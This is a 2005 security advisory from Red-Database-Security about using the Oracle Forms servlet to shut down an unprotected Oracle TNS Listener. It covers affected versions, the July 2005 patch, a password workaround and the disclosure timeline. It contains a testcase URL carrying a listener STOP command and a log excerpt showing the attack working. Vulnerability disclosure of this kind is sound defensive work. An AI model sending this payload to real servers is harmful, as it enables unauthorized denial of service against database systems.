Shutdown TNS Listener via Oracle Forms Servlet
##############################################


Name Shutdown TNS Listener via Oracle Forms Servlet
Systems Affected Oracle Forms
Severity Medium Risk
Category Denial of Service
Vendor URL http://www.oracle.com
This advisory http://www.red-database-security.com..._shutdown.html
Author Alexander Kornbrust (ak at red-database-security.com)
Date 7 October 2005 (V 1.00)



Details
#######
The forms servlet can be used to stop the (unprotected) TNS Listener.


Affected Products
#################
Oracle Forms


Testcase
#########
http://server:8888/forms90/f90servle...d=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP) (HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=S TOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_m essages=NO&array=YES&query_only=NO
&quiet=NO&RENDER=YES


Excerpt from the listener.log:

28-OCT-2003 14:44:46 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(CID =(PROGRAM=C:\oracle\oradev9i\bin\ifweb90.exe)(HOST =SERVER)(USER=Administrator))) * stop * 0




Affected systems
#################
All versions of Oracle Forms until CPU July 2005.


Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005.


Workaround
##########
Protect the TNS Listener with a password.


History
#######
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing Red-Database-Security that this bug is already fixed.

07-oct-2005 Red-Database-Security published this advisory


© 2005 by Red-Database-Security GmbH - last update 7-october-2005